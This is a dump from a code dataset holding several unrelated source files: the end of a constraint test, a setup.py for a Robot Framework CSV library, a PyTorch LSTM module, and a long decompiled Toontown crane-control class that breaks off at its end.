test_eq_constraint_repr(\r\n self, pizza_example: Tuple[Resources, Processes]\r\n ):\r\n resources, processes = pizza_example\r\n con = EqConstraint(\"test\", processes[\"cardboard_producer\"], 1)\r\n assert (\r\n str(repr(con))\r\n == \"\"\r\n )\r\n\r\n async def test_le_constraint_repr(\r\n self, pizza_example: Tuple[Resources, Processes]\r\n ):\r\n resources, processes = pizza_example\r\n con = LeConstraint(\"test\", processes[\"cardboard_producer\"], 1)\r\n assert (\r\n str(repr(con))\r\n == \"\"\r\n )\r\n","sub_path":"tests/test_constraints.py","file_name":"test_constraints.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"210422967","text":"#!/usr/bin/env python\nimport CSVLibrary\nfrom os.path import join, dirname, abspath\nfrom setuptools import setup\n\nversion_file = join(dirname(abspath(__file__)), 'CSVLibrary', 'version.py')\n\nwith open(version_file) as file:\n code = compile(file.read(), version_file, 'exec')\n exec(code)\n\nDESCRIPTION = \"\"\"\nCSV file support for Robot Framework. Updated to Python 3.\n\"\"\"[1:-1]\n\nsetup(name = 'robotframework-csvlibrary',\n version = CSVLibrary.VERSION,\n description = 'CSV library for Robot Framework',\n long_description = DESCRIPTION,\n author = 'Marcin Mierzejewski',\n author_email = '',\n url = 'https://github.com/teelicht/robotframework-CSVLibrary',\n license = 'Apache License 2.0',\n keywords = 'robotframework testing csv',\n platforms = 'any',\n classifiers = [\n \"Development Status :: 4 - Beta\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Topic :: Software Development :: Testing\"\n ],\n install_requires = [\n 'robotframework >= 3.0.2',\n ],\n packages = ['CSVLibrary'],\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"203774526","text":"import torch\nimport torch.nn as nn\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\n\n\nclass RNN(nn.Module):\n def __init__(self, input_size=1024, hidden_size=1024, num_layers=2, dropout=0.15, bidirectional=False):\n super(RNN, self).__init__()\n self.num_directions = 2 if bidirectional else 1\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n self.input_size = input_size\n self.feature_size = hidden_size * self.num_directions\n self.model = nn.LSTM(input_size=input_size,\n hidden_size=hidden_size,\n num_layers=num_layers,\n dropout=dropout,\n batch_first=True,\n bidirectional=bidirectional)\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, embeddings, lengths, hidden=None):\n packed = pack_padded_sequence(embeddings, lengths, batch_first=True, enforce_sorted=False)\n output, hidden = self.model(packed, hidden)\n output, _ = pad_packed_sequence(output, batch_first=True)\n return self.dropout(output), hidden\n","sub_path":"modules/RNN.py","file_name":"RNN.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"8196785","text":"# File: t (Python 2.4)\n\nfrom direct.gui.DirectGui import *\nfrom pandac.PandaModules import *\nfrom direct.interval.IntervalGlobal import *\nfrom direct.distributed.ClockDelta import *\nfrom direct.fsm import FSM\nfrom direct.distributed import DistributedObject\nfrom direct.showutil import Rope\nfrom direct.showbase import PythonUtil\nfrom direct.task import Task\nfrom toontown.toonbase import ToontownGlobals\nfrom toontown.toonbase import TTLocalizer\nfrom otp.otpbase import OTPGlobals\nimport random\n\nclass DistributedCashbotBossCrane(DistributedObject.DistributedObject, FSM.FSM):\n notify = DirectNotifyGlobal.directNotify.newCategory('DistributedCashbotBossCrane')\n firstMagnetBit = 21\n craneMinY = 8\n craneMaxY = 25\n armMinH = -45\n armMaxH = 45\n shadowOffset = 1\n emptyFrictionCoef = 0.10000000000000001\n emptySlideSpeed = 10\n emptyRotateSpeed = 20\n lookAtPoint = Point3(0.29999999999999999, 0, 0.10000000000000001)\n lookAtUp = Vec3(0, -1, 0)\n neutralStickHinge = VBase3(0, 90, 0)\n \n def __init__(self, cr):\n DistributedObject.DistributedObject.__init__(self, cr)\n FSM.FSM.__init__(self, 'DistributedCashbotBossCrane')\n self.boss = None\n self.index = None\n self.avId = 0\n self.cableLength = 20\n self.numLinks = 3\n self.initialArmPosition = (0, 20, 0)\n self.slideSpeed = self.emptySlideSpeed\n self.rotateSpeed = self.emptyRotateSpeed\n self.changeSeq = 0\n self.lastChangeSeq = 0\n self.moveSound = None\n self.links = []\n self.activeLinks = []\n self.collisions = NodePathCollection()\n self.physicsActivated = 0\n self.snifferActivated = 0\n self.magnetOn = 0\n self.root = NodePath('root')\n self.hinge = self.root.attachNewNode('hinge')\n self.hinge.setPos(0, -17.600000000000001, 38.5)\n self.controls = self.root.attachNewNode('controls')\n self.controls.setPos(0, -4.9000000000000004, 0)\n self.arm = self.hinge.attachNewNode('arm')\n self.crane = self.arm.attachNewNode('crane')\n self.cable = self.hinge.attachNewNode('cable')\n self.topLink = self.crane.attachNewNode('topLink')\n self.topLink.setPos(0, 0, -1)\n self.shadow = None\n self.p0 = Point3(0, 0, 0)\n self.v1 = Vec3(1, 1, 1)\n self.armSmoother = SmoothMover()\n self.armSmoother.setSmoothMode(SmoothMover.SMOn)\n self.linkSmoothers = []\n self.smoothStarted = 0\n self._DistributedCashbotBossCrane__broadcastPeriod = 0.20000000000000001\n self.cable.node().setFinal(1)\n self.crane.setPos(*self.initialArmPosition)\n self.heldObject = None\n self.closeButton = None\n self.craneAdviceLabel = None\n self.magnetAdviceLabel = None\n self.atLimitSfx = base.loadSfx('phase_4/audio/sfx/MG_cannon_adjust.mp3')\n self.magnetOnSfx = base.loadSfx('phase_10/audio/sfx/CBHQ_CFO_magnet_on.mp3')\n self.magnetLoopSfx = base.loadSfx('phase_10/audio/sfx/CBHQ_CFO_magnet_loop.wav')\n self.magnetSoundInterval = Parallel(SoundInterval(self.magnetOnSfx), Sequence(Wait(0.5), Func(base.playSfx, self.magnetLoopSfx, looping = 1)))\n self.craneMoveSfx = base.loadSfx('phase_9/audio/sfx/CHQ_FACT_elevator_up_down.mp3')\n self.fadeTrack = None\n\n \n def announceGenerate(self):\n DistributedObject.DistributedObject.announceGenerate(self)\n self.name = 'crane-%s' % self.doId\n self.root.setName(self.name)\n self.root.setPosHpr(*ToontownGlobals.CashbotBossCranePosHprs[self.index])\n self.rotateLinkName = self.uniqueName('rotateLink')\n self.snifferEvent = self.uniqueName('sniffer')\n self.triggerName = self.uniqueName('trigger')\n self.triggerEvent = 'enter%s' % self.triggerName\n self.shadowName = self.uniqueName('shadow')\n self.flickerName = self.uniqueName('flicker')\n self.smoothName = self.uniqueName('craneSmooth')\n self.posHprBroadcastName = self.uniqueName('craneBroadcast')\n self.craneAdviceName = self.uniqueName('craneAdvice')\n self.magnetAdviceName = self.uniqueName('magnetAdvice')\n self.controlModel = self.boss.controls.copyTo(self.controls)\n self.cc = NodePath('cc')\n column = self.controlModel.find('**/column')\n column.getChildren().reparentTo(self.cc)\n self.cc.reparentTo(column)\n self.stickHinge = self.cc.attachNewNode('stickHinge')\n self.stick = self.boss.stick.copyTo(self.stickHinge)\n self.stickHinge.setHpr(self.neutralStickHinge)\n self.stick.setHpr(0, -90, 0)\n self.stick.flattenLight()\n self.bottom = self.controlModel.find('**/bottom')\n self.bottom.wrtReparentTo(self.cc)\n self.bottomPos = self.bottom.getPos()\n cs = CollisionSphere(0, -5, -2, 3)\n cs.setTangible(0)\n cn = CollisionNode(self.triggerName)\n cn.addSolid(cs)\n cn.setIntoCollideMask(OTPGlobals.WallBitmask)\n self.trigger = self.root.attachNewNode(cn)\n self.trigger.stash()\n cs = CollisionTube(0, 2.7000000000000002, 0, 0, 2.7000000000000002, 3, 1.2)\n cn = CollisionNode('tube')\n cn.addSolid(cs)\n cn.setIntoCollideMask(OTPGlobals.WallBitmask)\n self.tube = self.controlModel.attachNewNode(cn)\n cs = CollisionSphere(0, 0, 2, 3)\n cn = CollisionNode('safetyBubble')\n cn.addSolid(cs)\n cn.setIntoCollideMask(ToontownGlobals.PieBitmask)\n self.controls.attachNewNode(cn)\n arm = self.boss.craneArm.copyTo(self.crane)\n self.boss.cranes[self.index] = self\n\n \n def disable(self):\n DistributedObject.DistributedObject.disable(self)\n del self.boss.cranes[self.index]\n self.cleanup()\n\n \n def cleanup(self):\n if self.state != 'Off':\n self.demand('Off')\n \n self.boss = None\n\n \n def accomodateToon(self, toon):\n origScale = self.controlModel.getSz()\n origCcPos = self.cc.getPos()\n origBottomPos = self.bottom.getPos()\n origStickHingeHpr = self.stickHinge.getHpr()\n scale = toon.getGeomNode().getChild(0).getSz(render)\n self.controlModel.setScale(scale)\n self.cc.setPos(0, 0, 0)\n toon.setPosHpr(self.controls, 0, 0, 0, 0, 0, 0)\n toon.pose('leverNeutral', 0)\n toon.update()\n pos = toon.rightHand.getPos(self.cc)\n self.cc.setPos(pos[0], pos[1], pos[2] - 1)\n self.bottom.setZ(toon, 0.0)\n self.bottom.setPos(self.bottomPos[0], self.bottomPos[1], self.bottom.getZ())\n self.stickHinge.lookAt(toon.rightHand, self.lookAtPoint, self.lookAtUp)\n lerpTime = 0.5\n return Parallel(self.controlModel.scaleInterval(lerpTime, scale, origScale, blendType = 'easeInOut'), self.cc.posInterval(lerpTime, self.cc.getPos(), origCcPos, blendType = 'easeInOut'), self.bottom.posInterval(lerpTime, self.bottom.getPos(), origBottomPos, blendType = 'easeInOut'), self.stickHinge.quatInterval(lerpTime, self.stickHinge.getHpr(), origStickHingeHpr, blendType = 'easeInOut'))\n\n \n def getRestoreScaleInterval(self):\n lerpTime = 1\n return Parallel(self.controlModel.scaleInterval(lerpTime, 1, blendType = 'easeInOut'), self.cc.posInterval(lerpTime, Point3(0, 0, 0), blendType = 'easeInOut'), self.bottom.posInterval(lerpTime, self.bottomPos, blendType = 'easeInOut'), self.stickHinge.quatInterval(lerpTime, self.neutralStickHinge, blendType = 'easeInOut'))\n\n \n def makeToonGrabInterval(self, toon):\n origPos = toon.getPos()\n origHpr = toon.getHpr()\n a = self.accomodateToon(toon)\n newPos = toon.getPos()\n newHpr = toon.getHpr()\n origHpr.setX(PythonUtil.fitSrcAngle2Dest(origHpr[0], newHpr[0]))\n toon.setPosHpr(origPos, origHpr)\n walkTime = 0.20000000000000001\n reach = ActorInterval(toon, 'leverReach')\n if reach.getDuration() < walkTime:\n reach = Sequence(ActorInterval(toon, 'walk', loop = 1, duration = walkTime - reach.getDuration()), reach)\n \n i = Sequence(Parallel(toon.posInterval(walkTime, newPos, origPos), toon.hprInterval(walkTime, newHpr, origHpr), reach), Func(self.startWatchJoystick, toon))\n i = Parallel(i, a)\n return i\n\n \n def _DistributedCashbotBossCrane__toonPlayWithCallback(self, animName, numFrames):\n duration = numFrames / 24.0\n self.toon.play(animName)\n taskMgr.doMethodLater(duration, self._DistributedCashbotBossCrane__toonPlayCallback, self.uniqueName('toonPlay'))\n\n \n def _DistributedCashbotBossCrane__toonPlayCallback(self, task):\n if self.changeSeq == self.lastChangeSeq:\n self._DistributedCashbotBossCrane__toonPlayWithCallback('leverNeutral', 40)\n else:\n self._DistributedCashbotBossCrane__toonPlayWithCallback('leverPull', 40)\n self.lastChangeSeq = self.changeSeq\n\n \n def startWatchJoystick(self, toon):\n self.toon = toon\n taskMgr.add(self._DistributedCashbotBossCrane__watchJoystick, self.uniqueName('watchJoystick'))\n self._DistributedCashbotBossCrane__toonPlayWithCallback('leverNeutral', 40)\n self.accept(toon.uniqueName('disable'), self._DistributedCashbotBossCrane__handleUnexpectedExit, extraArgs = [\n toon.doId])\n\n \n def stopWatchJoystick(self):\n taskMgr.remove(self.uniqueName('toonPlay'))\n taskMgr.remove(self.uniqueName('watchJoystick'))\n if self.toon:\n self.ignore(self.toon.uniqueName('disable'))\n \n self.toon = None\n\n \n def _DistributedCashbotBossCrane__watchJoystick(self, task):\n self.toon.setPosHpr(self.controls, 0, 0, 0, 0, 0, 0)\n self.toon.update()\n self.stickHinge.lookAt(self.toon.rightHand, self.lookAtPoint, self.lookAtUp)\n return Task.cont\n\n \n def _DistributedCashbotBossCrane__handleUnexpectedExit(self, toonId):\n self.notify.warning('%s: unexpected exit for %s' % (self.doId, toonId))\n if self.toon and self.toon.doId == toonId:\n self.stopWatchJoystick()\n \n\n \n def _DistributedCashbotBossCrane__activatePhysics(self):\n if not self.physicsActivated:\n for (an, anp, cnp) in self.activeLinks:\n self.boss.physicsMgr.attachPhysicalNode(an)\n base.cTrav.addCollider(cnp, self.handler)\n \n self.collisions.unstash()\n self.physicsActivated = 1\n \n\n \n def _DistributedCashbotBossCrane__deactivatePhysics(self):\n if self.physicsActivated:\n for (an, anp, cnp) in self.activeLinks:\n self.boss.physicsMgr.removePhysicalNode(an)\n base.cTrav.removeCollider(cnp)\n \n self.collisions.stash()\n self.physicsActivated = 0\n \n\n \n def _DistributedCashbotBossCrane__straightenCable(self):\n for linkNum in range(self.numLinks):\n (an, anp, cnp) = self.activeLinks[linkNum]\n an.getPhysicsObject().setVelocity(0, 0, 0)\n z = (float(linkNum + 1) / float(self.numLinks)) * self.cableLength\n anp.setPos(self.crane.getPos(self.cable))\n anp.setZ(-z)\n \n\n \n def setCableLength(self, length):\n self.cableLength = length\n linkWidth = float(length) / float(self.numLinks)\n self.shell.setRadius(linkWidth + 1)\n\n \n def setupCable(self):\n activated = self.physicsActivated\n self.clearCable()\n self.handler = PhysicsCollisionHandler()\n self.handler.setStaticFrictionCoef(0.10000000000000001)\n self.handler.setDynamicFrictionCoef(self.emptyFrictionCoef)\n linkWidth = float(self.cableLength) / float(self.numLinks)\n self.shell = CollisionInvSphere(0, 0, 0, linkWidth + 1)\n self.links = []\n self.links.append((self.topLink, Point3(0, 0, 0)))\n anchor = self.topLink\n for linkNum in range(self.numLinks):\n anchor = self._DistributedCashbotBossCrane__makeLink(anchor, linkNum)\n \n self.collisions.stash()\n self.bottomLink = self.links[-1][0]\n self.middleLink = self.links[-2][0]\n self.magnet = self.bottomLink.attachNewNode('magnet')\n self.wiggleMagnet = self.magnet.attachNewNode('wiggleMagnet')\n taskMgr.add(self._DistributedCashbotBossCrane__rotateMagnet, self.rotateLinkName)\n magnetModel = self.boss.magnet.copyTo(self.wiggleMagnet)\n magnetModel.setHpr(90, 45, 90)\n self.gripper = magnetModel.attachNewNode('gripper')\n self.gripper.setPos(0, 0, -4)\n cn = CollisionNode('sniffer')\n self.sniffer = magnetModel.attachNewNode(cn)\n self.sniffer.stash()\n cs = CollisionSphere(0, 0, -10, 6)\n cs.setTangible(0)\n cn.addSolid(cs)\n cn.setIntoCollideMask(BitMask32(0))\n cn.setFromCollideMask(ToontownGlobals.CashbotBossObjectBitmask)\n self.snifferHandler = CollisionHandlerEvent()\n self.snifferHandler.addInPattern(self.snifferEvent)\n self.snifferHandler.addAgainPattern(self.snifferEvent)\n rope = self.makeSpline()\n rope.reparentTo(self.cable)\n rope.setTexture(self.boss.cableTex)\n ts = TextureStage.getDefault()\n rope.setTexScale(ts, 0.14999999999999999, 0.13)\n rope.setTexOffset(ts, 0.82999999999999996, 0.01)\n if activated:\n self._DistributedCashbotBossCrane__activatePhysics()\n \n\n \n def clearCable(self):\n self._DistributedCashbotBossCrane__deactivatePhysics()\n taskMgr.remove(self.rotateLinkName)\n self.links = []\n self.activeLinks = []\n self.linkSmoothers = []\n self.collisions.clear()\n self.cable.getChildren().detach()\n self.topLink.getChildren().detach()\n self.gripper = None\n\n \n def makeSpline(self):\n rope = Rope.Rope()\n rope.setup(min(len(self.links), 4), self.links)\n rope.curve.normalizeKnots()\n rn = rope.ropeNode\n rn.setRenderMode(RopeNode.RMTube)\n rn.setNumSlices(3)\n rn.setTubeUp(Vec3(0, -1, 0))\n rn.setUvMode(RopeNode.UVParametric)\n rn.setUvDirection(1)\n rn.setThickness(0.5)\n return rope\n\n \n def startShadow(self):\n self.shadow = self.boss.geom.attachNewNode('%s-shadow' % self.name)\n self.shadow.setColor(1, 1, 1, 0.29999999999999999)\n self.shadow.setDepthWrite(0)\n self.shadow.setTransparency(1)\n self.shadow.setBin('shadow', 0)\n self.shadow.node().setFinal(1)\n self.magnetShadow = loader.loadModel('phase_3/models/props/drop_shadow')\n self.magnetShadow.reparentTo(self.shadow)\n self.craneShadow = loader.loadModel('phase_3/models/props/square_drop_shadow')\n self.craneShadow.setScale(0.5, 4, 1)\n self.craneShadow.setPos(0, -12, 0)\n self.craneShadow.flattenLight()\n self.craneShadow.reparentTo(self.shadow)\n taskMgr.add(self._DistributedCashbotBossCrane__followShadow, self.shadowName)\n rope = self.makeSpline()\n rope.reparentTo(self.shadow)\n rope.setColor(1, 1, 1, 0.20000000000000001)\n tex = self.craneShadow.findTexture('*')\n rope.setTexture(tex)\n rn = rope.ropeNode\n rn.setRenderMode(RopeNode.RMTape)\n rn.setNumSubdiv(6)\n rn.setThickness(0.80000000000000004)\n rn.setTubeUp(Vec3(0, 0, 1))\n rn.setMatrix(Mat4.translateMat(0, 0, self.shadowOffset) * Mat4.scaleMat(1, 1, 0.01))\n\n \n def stopShadow(self):\n if self.shadow:\n self.shadow.removeNode()\n self.shadow = None\n self.magnetShadow = None\n self.craneShadow = None\n \n taskMgr.remove(self.shadowName)\n\n \n def _DistributedCashbotBossCrane__followShadow(self, task):\n p = self.magnet.getPos(self.boss.geom)\n self.magnetShadow.setPos(p[0], p[1], self.shadowOffset)\n self.craneShadow.setPosHpr(self.crane, 0, 0, 0, 0, 0, 0)\n self.craneShadow.setZ(self.shadowOffset)\n return Task.cont\n\n \n def _DistributedCashbotBossCrane__makeLink(self, anchor, linkNum):\n an = ActorNode('link%s' % linkNum)\n anp = NodePath(an)\n cn = CollisionNode('cn')\n sphere = CollisionSphere(0, 0, 0, 1)\n cn.addSolid(sphere)\n cnp = anp.attachNewNode(cn)\n self.handler.addCollider(cnp, anp)\n self.activeLinks.append((an, anp, cnp))\n self.linkSmoothers.append(SmoothMover())\n anp.reparentTo(self.cable)\n z = (float(linkNum + 1) / float(self.numLinks)) * self.cableLength\n anp.setPos(self.crane.getPos())\n anp.setZ(-z)\n mask = BitMask32.bit(self.firstMagnetBit + linkNum)\n cn.setFromCollideMask(mask)\n cn.setIntoCollideMask(BitMask32(0))\n shellNode = CollisionNode('shell%s' % linkNum)\n shellNode.addSolid(self.shell)\n shellNP = anchor.attachNewNode(shellNode)\n shellNode.setIntoCollideMask(mask)\n self.collisions.addPath(shellNP)\n self.collisions.addPath(cnp)\n self.links.append((anp, Point3(0, 0, 0)))\n return anp\n\n \n def _DistributedCashbotBossCrane__rotateMagnet(self, task):\n self.magnet.lookAt(self.middleLink, self.p0, self.v1)\n return Task.cont\n\n \n def _DistributedCashbotBossCrane__enableControlInterface(self):\n gui = loader.loadModel('phase_3.5/models/gui/avatar_panel_gui')\n self.closeButton = DirectButton(image = (gui.find('**/CloseBtn_UP'), gui.find('**/CloseBtn_DN'), gui.find('**/CloseBtn_Rllvr'), gui.find('**/CloseBtn_UP')), relief = None, scale = 2, text = TTLocalizer.CashbotCraneLeave, text_scale = 0.040000000000000001, text_pos = (0, -0.070000000000000007), text_fg = VBase4(1, 1, 1, 1), pos = (1.05, 0, -0.81999999999999995), command = self._DistributedCashbotBossCrane__exitCrane)\n self.accept('escape', self._DistributedCashbotBossCrane__exitCrane)\n self.accept('control', self._DistributedCashbotBossCrane__controlPressed)\n self.accept('control-up', self._DistributedCashbotBossCrane__controlReleased)\n self.accept('InputState-forward', self._DistributedCashbotBossCrane__upArrow)\n self.accept('InputState-reverse', self._DistributedCashbotBossCrane__downArrow)\n self.accept('InputState-turnLeft', self._DistributedCashbotBossCrane__leftArrow)\n self.accept('InputState-turnRight', self._DistributedCashbotBossCrane__rightArrow)\n taskMgr.add(self._DistributedCashbotBossCrane__watchControls, 'watchCraneControls')\n taskMgr.doMethodLater(5, self._DistributedCashbotBossCrane__displayCraneAdvice, self.craneAdviceName)\n taskMgr.doMethodLater(10, self._DistributedCashbotBossCrane__displayMagnetAdvice, self.magnetAdviceName)\n NametagGlobals.setOnscreenChatForced(1)\n self.arrowVert = 0\n self.arrowHorz = 0\n\n \n def _DistributedCashbotBossCrane__disableControlInterface(self):\n self._DistributedCashbotBossCrane__turnOffMagnet()\n if self.closeButton:\n self.closeButton.destroy()\n self.closeButton = None\n \n self._DistributedCashbotBossCrane__cleanupCraneAdvice()\n self._DistributedCashbotBossCrane__cleanupMagnetAdvice()\n self.ignore('escape')\n self.ignore('control')\n self.ignore('control-up')\n self.ignore('InputState-forward')\n self.ignore('InputState-reverse')\n self.ignore('InputState-turnLeft')\n self.ignore('InputState-turnRight')\n self.arrowVert = 0\n self.arrowHorz = 0\n NametagGlobals.setOnscreenChatForced(0)\n taskMgr.remove('watchCraneControls')\n self._DistributedCashbotBossCrane__setMoveSound(None)\n\n \n def _DistributedCashbotBossCrane__displayCraneAdvice(self, task):\n if self.craneAdviceLabel == None:\n self.craneAdviceLabel = DirectLabel(text = TTLocalizer.CashbotCraneAdvice, text_fg = VBase4(1, 1, 1, 1), text_align = TextNode.ACenter, relief = None, pos = (0, 0, 0.68999999999999995), scale = 0.10000000000000001)\n \n\n \n def _DistributedCashbotBossCrane__cleanupCraneAdvice(self):\n if self.craneAdviceLabel:\n self.craneAdviceLabel.destroy()\n self.craneAdviceLabel = None\n \n taskMgr.remove(self.craneAdviceName)\n\n \n def _DistributedCashbotBossCrane__displayMagnetAdvice(self, task):\n if self.magnetAdviceLabel == None:\n self.magnetAdviceLabel = DirectLabel(text = TTLocalizer.CashbotMagnetAdvice, text_fg = VBase4(1, 1, 1, 1), text_align = TextNode.ACenter, relief = None, pos = (0, 0, 0.55000000000000004), scale = 0.10000000000000001)\n \n\n \n def _DistributedCashbotBossCrane__cleanupMagnetAdvice(self):\n if self.magnetAdviceLabel:\n self.magnetAdviceLabel.destroy()\n self.magnetAdviceLabel = None\n \n taskMgr.remove(self.magnetAdviceName)\n\n \n def _DistributedCashbotBossCrane__watchControls(self, task):\n if self.arrowHorz or self.arrowVert:\n self._DistributedCashbotBossCrane__moveCraneArcHinge(self.arrowHorz, self.arrowVert)\n else:\n self._DistributedCashbotBossCrane__setMoveSound(None)\n return Task.cont\n\n \n def _DistributedCashbotBossCrane__exitCrane(self):\n if self.closeButton:\n self.closeButton.destroy()\n self.closeButton = DirectLabel(relief = None, text = TTLocalizer.CashbotCraneLeaving, pos = (1.05, 0, -0.88), text_pos = (0, 0), text_scale = 0.059999999999999998, text_fg = VBase4(1, 1, 1, 1))\n \n self._DistributedCashbotBossCrane__cleanupCraneAdvice()\n self._DistributedCashbotBossCrane__cleanupMagnetAdvice()\n self.d_requestFree()\n\n \n def _DistributedCashbotBossCrane__incrementChangeSeq(self):\n self.changeSeq = self.changeSeq + 1 & 255\n\n \n def _DistributedCashbotBossCrane__controlPressed(self):\n self._DistributedCashbotBossCrane__cleanupMagnetAdvice()\n self._DistributedCashbotBossCrane__turnOnMagnet()\n\n \n def _DistributedCashbotBossCrane__controlReleased(self):\n self._DistributedCashbotBossCrane__turnOffMagnet()\n\n \n def _DistributedCashbotBossCrane__turnOnMagnet(self):\n if not self.magnetOn:\n self._DistributedCashbotBossCrane__incrementChangeSeq()\n self.magnetOn = 1\n if not self.heldObject:\n self._DistributedCashbotBossCrane__activateSniffer()\n \n \n\n \n def _DistributedCashbotBossCrane__turnOffMagnet(self):\n if self.magnetOn:\n self.magnetOn = 0\n self._DistributedCashbotBossCrane__deactivateSniffer()\n self.releaseObject()\n \n\n \n def _DistributedCashbotBossCrane__upArrow(self, pressed):\n self._DistributedCashbotBossCrane__incrementChangeSeq()\n self._DistributedCashbotBossCrane__cleanupCraneAdvice()\n if pressed:\n self.arrowVert = 1\n elif self.arrowVert > 0:\n self.arrowVert = 0\n \n\n \n def _DistributedCashbotBossCrane__downArrow(self, pressed):\n self._DistributedCashbotBossCrane__incrementChangeSeq()\n self._DistributedCashbotBossCrane__cleanupCraneAdvice()\n if pressed:\n self.arrowVert = -1\n elif self.arrowVert < 0:\n self.arrowVert = 0\n \n\n \n def _DistributedCashbotBossCrane__rightArrow(self, pressed):\n self._DistributedCashbotBossCrane__incrementChangeSeq()\n self._DistributedCashbotBossCrane__cleanupCraneAdvice()\n if pressed:\n self.arrowHorz = 1\n elif self.arrowHorz > 0:\n self.arrowHorz = 0\n \n\n \n def _DistributedCashbotBossCrane__leftArrow(self, pressed):\n self._DistributedCashbotBossCrane__incrementChangeSeq()\n self._DistributedCashbotBossCrane__cleanupCraneAdvice()\n if pressed:\n self.arrowHorz = -1\n elif self.arrowHorz < 0:\n self.arrowHorz = 0\n \n\n \n def _DistributedCashbotBossCrane__moveCraneArcHinge(self, xd, yd):\n dt = globalClock.getDt()\n h = self.arm.getH() - xd * self.rotateSpeed * dt\n limitH = max(min(h, self.armMaxH), self.armMinH)\n self.arm.setH(limitH)\n y = self.crane.getY() + yd * self.slideSpeed * dt\n limitY = max(min(y, self.craneMaxY), self.craneMinY)\n if not limitH != h:\n pass\n atLimit = limitY != y\n if atLimit:\n now = globalClock.getFrameTime()\n x = math.sin(now * 79) * 0.050000000000000003\n z = math.sin(now * 70) * 0.02\n self.crane.setPos(x, limitY, z)\n self._DistributedCashbotBossCrane__setMoveSound(self.atLimitSfx)\n else:\n self.crane.setPos(0, limitY, 0)\n self._DistributedCashbotBossCrane__setMoveSound(self.craneMoveSfx)\n\n \n def _DistributedCashbotBossCrane__setMoveSound(self, sfx):\n if sfx != self.moveSound:\n if self.moveSound:\n self.moveSound.stop()\n \n self.moveSound = sfx\n if self.moveSound:\n base.playSfx(self.moveSound, looping = 1, volume = 0.5)\n \n \n\n \n def _DistributedCashbotBossCrane__activateSniffer(self):\n if not self.snifferActivated:\n self.sniffer.unstash()\n base.cTrav.addCollider(self.sniffer, self.snifferHandler)\n self.accept(self.snifferEvent, self._DistributedCashbotBossCrane__sniffedSomething)\n self.startFlicker()\n self.snifferActivated = 1\n \n\n \n def _DistributedCashbotBossCrane__deactivateSniffer(self):\n if self.snifferActivated:\n base.cTrav.removeCollider(self.sniffer)\n self.sniffer.stash()\n self.ignore(self.snifferEvent)\n self.stopFlicker()\n self.snifferActivated = 0\n \n\n \n def startFlicker(self):\n self.magnetSoundInterval.start()\n self.lightning = []\n for i in range(4):\n t = float(i) / 3.0 - 0.5\n l = self.boss.lightning.copyTo(self.gripper)\n l.setScale(random.choice([\n 1,\n -1]), 1, 5)\n l.setZ(random.uniform(-5, -5.5))\n l.flattenLight()\n l.setTwoSided(1)\n l.setBillboardAxis()\n l.setScale(random.uniform(0.5, 1.0))\n if t < 0:\n l.setX(t - 0.69999999999999996)\n else:\n l.setX(t + 0.69999999999999996)\n l.setR(-20 * t)\n l.setP(random.uniform(-20, 20))\n self.lightning.append(l)\n \n taskMgr.add(self._DistributedCashbotBossCrane__flickerLightning, self.flickerName)\n\n \n def stopFlicker(self):\n self.magnetSoundInterval.finish()\n self.magnetLoopSfx.stop()\n taskMgr.remove(self.flickerName)\n for l in self.lightning:\n l.detachNode()\n \n self.lightning = None\n\n \n def _DistributedCashbotBossCrane__flickerLightning(self, task):\n for l in self.lightning:\n if random.random() < 0.5:\n l.hide()\n continue\n l.show()\n \n return Task.cont\n\n \n def _DistributedCashbotBossCrane__sniffedSomething(self, entry):\n np = entry.getIntoNodePath()\n if np.hasNetTag('object'):\n doId = int(np.getNetTag('object'))\n else:\n self.notify.warning(\"%s missing 'object' tag\" % np)\n return None\n self.notify.debug('__sniffedSomething %d' % doId)\n obj = base.cr.doId2do.get(doId)\n if obj and obj.state != 'LocalDropped':\n if obj.state != 'Dropped' or obj.craneId != self.doId:\n obj.d_requestGrab()\n obj.demand('LocalGrabbed', localAvatar.doId, self.doId)\n \n\n \n def grabObject(self, obj):\n if self.state == 'Off':\n return None\n \n if self.heldObject != None:\n self.releaseObject()\n \n self._DistributedCashbotBossCrane__deactivateSniffer()\n obj.wrtReparentTo(self.gripper)\n if obj.lerpInterval:\n obj.lerpInterval.finish()\n \n obj.lerpInterval = Parallel(obj.posInterval(ToontownGlobals.CashbotBossToMagnetTime, Point3(*obj.grabPos)), obj.quatInterval(ToontownGlobals.CashbotBossToMagnetTime, VBase3(obj.getH(), 0, 0)), obj.toMagnetSoundInterval)\n obj.lerpInterval.start()\n self.heldObject = obj\n self.handler.setDynamicFrictionCoef(obj.craneFrictionCoef)\n self.slideSpeed = obj.craneSlideSpeed\n self.rotateSpeed = obj.craneRotateSpeed\n if self.avId == localAvatar.doId and not (self.magnetOn):\n self.releaseObject()\n \n\n \n def dropObject(self, obj):\n if obj.lerpInterval:\n obj.lerpInterval.finish()\n \n obj.wrtReparentTo(render)\n obj.lerpInterval = Parallel(obj.quatInterval(ToontownGlobals.CashbotBossFromMagnetTime, VBase3(obj.getH(), 0, 0), blendType = 'easeOut'))\n obj.lerpInterval.start()\n p1 = self.bottomLink.node().getPhysicsObject()\n v = render.getRelativeVector(self.bottomLink, p1.getVelocity())\n obj.physicsObject.setVelocity(v * 1.5)\n if self.heldObject == obj:\n self.heldObject = None\n self.handler.setDynamicFrictionCoef(self.emptyFrictionCoef)\n self.slideSpeed = self.emptySlideSpeed\n self.rotateSpeed = self.emptyRotateSpeed\n \n\n \n def releaseObject(self):\n if self.heldObject:\n obj = self.heldObject\n obj.d_requestDrop()\n if obj.state == 'Grabbed':\n obj.demand('LocalDropped', localAvatar.doId, self.doId)\n \n \n\n \n def _DistributedCashbotBossCrane__hitTrigger(self, event):\n self.d_requestControl()\n\n \n def setBossCogId(self, bossCogId):\n self.bossCogId = bossCogId\n self.boss = 